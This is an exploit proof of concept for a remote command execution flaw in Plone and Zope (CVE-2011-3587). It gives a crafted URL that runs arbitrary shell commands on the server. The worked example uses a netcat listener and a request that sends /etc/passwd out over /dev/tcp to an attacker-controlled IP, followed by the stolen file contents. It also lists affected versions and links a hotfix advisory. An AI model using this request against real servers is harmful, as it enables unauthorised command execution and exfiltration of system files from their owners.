Plone and Zope Remote Command Execution PoC

# Exploit Title: Plone - Remote Command Execution # Date: 12/21/2011 # Author: Nick Miles (www.npenetrable.com) # Tested on: 12/21/2011 # CVE : CVE-2011-3587 Versions Affected (without hotfix): Plone 4.0 (through 4.0.9); Plone 4.1; Plone 4.2 (a1 and a2); Zope 2.12.x and Zope 2.13.x. Versions Not Affected: Versions of Plone that use Zope other than Zope 2.12.x and Zope 2.13.x. Advisory/Hotfix: http://plone.org/products/plone/security/advisories/20110928 You can execute any command on the remote Plone server with the following request if the server is Unix/Linux based (Note: you won't get returned the results of the command): http://PLONE_SITE/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=<command to run> Example: Listen for a connection: $ nc -l 4040 On victim, visit: http://victim/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=cat%20/etc/passwd%20%20%3E%20/dev/tcp/172.20.6.218/4040 Response: $ nc -l 4040 root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin saslauth:x:499:499:"Saslauthd user":/var/empty/saslauth:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin tcpdump:x:72:72::/:/sbin/nologin apache:x:48:48:Apache:/var/www:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash plone:x:500:500::/home/plone:/bin/false